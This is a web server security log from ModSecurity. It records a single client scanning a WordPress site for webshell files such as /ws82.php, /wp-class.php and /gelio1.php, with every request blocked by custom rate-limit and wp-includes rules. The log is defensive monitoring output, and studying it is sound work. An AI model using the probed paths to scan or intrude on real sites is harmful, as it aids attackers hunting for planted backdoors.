[Mon Apr 20 19:48:48.863017 2026] [:error] [pid 11351:tid 11406] [client 20.251.55.245:15400] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aeYSoAN8Z1-vktaI_tPm6wAAAFM"]
[Mon Apr 20 19:48:49.688270 2026] [:error] [pid 11352:tid 11435] [client 20.251.55.245:15481] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeYSoWl10mhMSfJ7ir_M8QAAAJU"]
[Mon Apr 20 19:48:50.640982 2026] [:error] [pid 11494:tid 11517] [client 20.251.55.245:15371] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeYSosgko5iFiE8YoyTPhAAAAZU"]
[Mon Apr 20 19:48:52.467787 2026] [:error] [pid 11441:tid 11465] [client 20.251.55.245:15403] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeYSpMixByFUvmh319CNoAAAANY"]
[Mon Apr 20 19:48:54.839845 2026] [:error] [pid 11494:tid 11511] [client 20.251.55.245:15303] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeYSpsgko5iFiE8YoyTPjgAAAY8"]
[Mon Apr 20 19:49:01.123865 2026] [:error] [pid 11351:tid 11400] [client 20.251.55.245:15338] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeYSrQN8Z1-vktaI_tPnBwAAAE0"]
[Mon Apr 20 19:49:03.463955 2026] [:error] [pid 11351:tid 11406] [client 20.251.55.245:15459] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeYSrwN8Z1-vktaI_tPnEwAAAFM"]
[Mon Apr 20 19:49:04.883203 2026] [:error] [pid 11494:tid 11508] [client 20.251.55.245:15414] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeYSsMgko5iFiE8YoyTPrAAAAYw"]
[Mon Apr 20 19:49:06.026877 2026] [:error] [pid 11350:tid 11373] [client 20.251.55.245:15399] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeYSsv4EoMBgOJuJnT2RNgAAAA4"]
[Mon Apr 20 19:49:06.890457 2026] [:error] [pid 11494:tid 11496] [client 20.251.55.245:15385] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeYSssgko5iFiE8YoyTPrwAAAYA"]
[Mon Apr 20 19:49:07.659361 2026] [:error] [pid 11494:tid 11505] [client 20.251.55.245:15373] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeYSs8gko5iFiE8YoyTPsQAAAYk"]
[Mon Apr 20 19:49:09.523916 2026] [:error] [pid 11494:tid 11518] [client 20.251.55.245:15397] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeYStcgko5iFiE8YoyTPtAAAAZY"]
[Mon Apr 20 19:49:10.697090 2026] [:error] [pid 11494:tid 11512] [client 20.251.55.245:15350] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeYStsgko5iFiE8YoyTPuwAAAZA"]
[Mon Apr 20 19:49:11.606369 2026] [:error] [pid 11494:tid 11508] [client 20.251.55.245:15439] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeYSt8gko5iFiE8YoyTPvwAAAYw"]
[Mon Apr 20 19:49:12.319741 2026] [:error] [pid 42014:tid 42038] [client 20.251.55.245:15415] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeYSuMek-00-ZI0f1Np2yQAAARY"]
[Mon Apr 20 19:49:13.510464 2026] [:error] [pid 42014:tid 42030] [client 20.251.55.245:15370] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeYSucek-00-ZI0f1Np2ywAAAQ4"]
[Mon Apr 20 19:49:14.126297 2026] [:error] [pid 42014:tid 42026] [client 20.251.55.245:15304] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "aeYSusek-00-ZI0f1Np2zQAAAQo"]
[Mon Apr 20 19:49:15.413554 2026] [:error] [pid 11351:tid 11392] [client 20.251.55.245:15406] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeYSuwN8Z1-vktaI_tPnIAAAAEU"]
[Mon Apr 20 19:49:16.991087 2026] [:error] [pid 42014:tid 42039] [client 20.251.55.245:15352] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeYSvMek-00-ZI0f1Np20gAAARc"]
[Mon Apr 20 19:49:21.521335 2026] [:error] [pid 11351:tid 11387] [client 20.251.55.245:15482] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeYSwQN8Z1-vktaI_tPnMAAAAEA"]
[Mon Apr 20 19:49:23.888940 2026] [:error] [pid 11441:tid 11444] [client 20.251.55.245:15244] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeYSw8ixByFUvmh319CNtAAAAME"]
[Mon Apr 20 19:49:35.062790 2026] [:error] [pid 11351:tid 11408] [client 20.251.55.245:15330] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYSzwN8Z1-vktaI_tPnWQAAAFU"]
[Mon Apr 20 19:49:39.592378 2026] [:error] [pid 11350:tid 11380] [client 20.251.55.245:15384] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYS0_4EoMBgOJuJnT2RaQAAABU"]
[Mon Apr 20 19:49:40.795528 2026] [:error] [pid 6928:tid 6936] [client 20.251.55.245:15407] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYS1B3y7MHq1iB0qYqiYwAAAUY"]
[Mon Apr 20 19:49:42.923976 2026] [:error] [pid 11350:tid 11383] [client 20.251.55.245:15391] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYS1v4EoMBgOJuJnT2RbQAAABg"]
[Mon Apr 20 19:49:44.587709 2026] [:error] [pid 11350:tid 11366] [client 20.251.55.245:15401] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeYS2P4EoMBgOJuJnT2RcwAAAAc"]
[Mon Apr 20 19:49:45.864741 2026] [:error] [pid 11350:tid 11368] [client 20.251.55.245:15466] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeYS2f4EoMBgOJuJnT2RfwAAAAk"]
[Mon Apr 20 19:49:47.320578 2026] [:error] [pid 11494:tid 11507] [client 20.251.55.245:15260] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeYS28gko5iFiE8YoyTP4QAAAYs"]
[Mon Apr 20 19:49:48.185186 2026] [:error] [pid 11494:tid 11497] [client 20.251.55.245:15356] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeYS3Mgko5iFiE8YoyTP4wAAAYE"]
[Mon Apr 20 19:49:49.269023 2026] [:error] [pid 11350:tid 11380] [client 20.251.55.245:15369] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeYS3f4EoMBgOJuJnT2RlwAAABU"]
[Mon Apr 20 19:49:50.246599 2026] [:error] [pid 42014:tid 42027] [client 20.251.55.245:15331] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeYS3sek-00-ZI0f1Np2-wAAAQs"]
[Mon Apr 20 19:49:50.906900 2026] [:error] [pid 11441:tid 11461] [client 20.251.55.245:15321] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeYS3sixByFUvmh319CNwAAAANI"]
[Mon Apr 20 19:49:53.035056 2026] [:error] [pid 11350:tid 11376] [client 20.251.55.245:15345] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeYS4f4EoMBgOJuJnT2RvgAAABE"]
[Mon Apr 20 19:49:55.482910 2026] [:error] [pid 11350:tid 11361] [client 20.251.55.245:15468] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeYS4_4EoMBgOJuJnT2RyQAAAAI"]
[Mon Apr 20 19:49:57.717204 2026] [:error] [pid 11494:tid 11508] [client 20.251.55.245:15314] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeYS5cgko5iFiE8YoyTQAAAAAYw"]
[Mon Apr 20 19:49:58.973105 2026] [:error] [pid 11350:tid 11363] [client 20.251.55.245:15416] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeYS5v4EoMBgOJuJnT2R1QAAAAQ"]
[Mon Apr 20 19:50:01.483458 2026] [:error] [pid 11351:tid 11409] [client 20.251.55.245:15386] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeYS6QN8Z1-vktaI_tPntwAAAFY"]
[Mon Apr 20 19:50:02.173282 2026] [:error] [pid 11351:tid 11401] [client 20.251.55.245:15340] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeYS6gN8Z1-vktaI_tPnugAAAE4"]
[Mon Apr 20 19:50:04.585103 2026] [:error] [pid 6928:tid 6946] [client 20.251.55.245:15378] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeYS7B3y7MHq1iB0qYqidwAAAVA"]
[Mon Apr 20 19:50:05.172996 2026] [:error] [pid 42014:tid 42034] [client 20.251.55.245:15424] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeYS7cek-00-ZI0f1Np3EQAAARI"]
[Mon Apr 20 19:50:06.277692 2026] [:error] [pid 11350:tid 11372] [client 20.251.55.245:15460] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aeYS7v4EoMBgOJuJnT2R7gAAAA0"]
[Mon Apr 20 19:50:08.007746 2026] [:error] [pid 11352:tid 11430] [client 20.251.55.245:15387] [client 20.251.55.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeYS8Gl10mhMSfJ7ir_NewAAAJA"]
[Mon Apr 20 19:50:08.805592 2026] [:error] [pid 11351:tid 11392] [client 20.251.55.245:15431] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeYS8AN8Z1-vktaI_tPn2wAAAEU"]
[Mon Apr 20 19:50:09.993634 2026] [:error] [pid 11441:tid 11445] [client 20.251.55.245:15308] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeYS8cixByFUvmh319CN6gAAAMI"]
[Mon Apr 20 19:50:12.398303 2026] [:error] [pid 11350:tid 11369] [client 20.251.55.245:15311] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aeYS9P4EoMBgOJuJnT2R-gAAAAo"]
[Mon Apr 20 19:50:14.303681 2026] [:error] [pid 11350:tid 11373] [client 20.251.55.245:15236] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeYS9v4EoMBgOJuJnT2SAAAAAA4"]
[Mon Apr 20 19:50:14.866035 2026] [:error] [pid 11441:tid 11447] [client 20.251.55.245:15381] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeYS9sixByFUvmh319CN9wAAAMQ"]
[Mon Apr 20 19:50:15.847592 2026] [:error] [pid 11494:tid 11503] [client 20.251.55.245:15450] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeYS98gko5iFiE8YoyTQGgAAAYc"]
[Mon Apr 20 19:50:17.918768 2026] [:error] [pid 11494:tid 11512] [client 20.251.55.245:15392] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeYS-cgko5iFiE8YoyTQGwAAAZA"]
[Mon Apr 20 19:50:20.151653 2026] [:error] [pid 11351:tid 11409] [client 20.251.55.245:15245] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeYS_AN8Z1-vktaI_tPn7QAAAFY"]
[Mon Apr 20 19:50:24.268428 2026] [:error] [pid 11494:tid 11503] [client 20.251.55.245:15358] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeYTAMgko5iFiE8YoyTQKgAAAYc"]
[Mon Apr 20 19:50:25.402832 2026] [:error] [pid 42014:tid 42023] [client 20.251.55.245:15432] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeYTAcek-00-ZI0f1Np3GgAAAQc"]
[Mon Apr 20 19:50:26.244482 2026] [:error] [pid 11494:tid 11514] [client 20.251.55.245:15405] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeYTAsgko5iFiE8YoyTQMAAAAZI"]
[Mon Apr 20 19:50:26.870693 2026] [:error] [pid 11494:tid 11504] [client 20.251.55.245:15238] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeYTAsgko5iFiE8YoyTQNAAAAYg"]
[Mon Apr 20 19:50:27.907728 2026] [:error] [pid 11351:tid 11405] [client 20.251.55.245:15366] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeYTAwN8Z1-vktaI_tPn8gAAAFI"]
[Mon Apr 20 19:50:29.040141 2026] [:error] [pid 6928:tid 6938] [client 20.251.55.245:15355] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeYTBR3y7MHq1iB0qYqiiAAAAUg"]
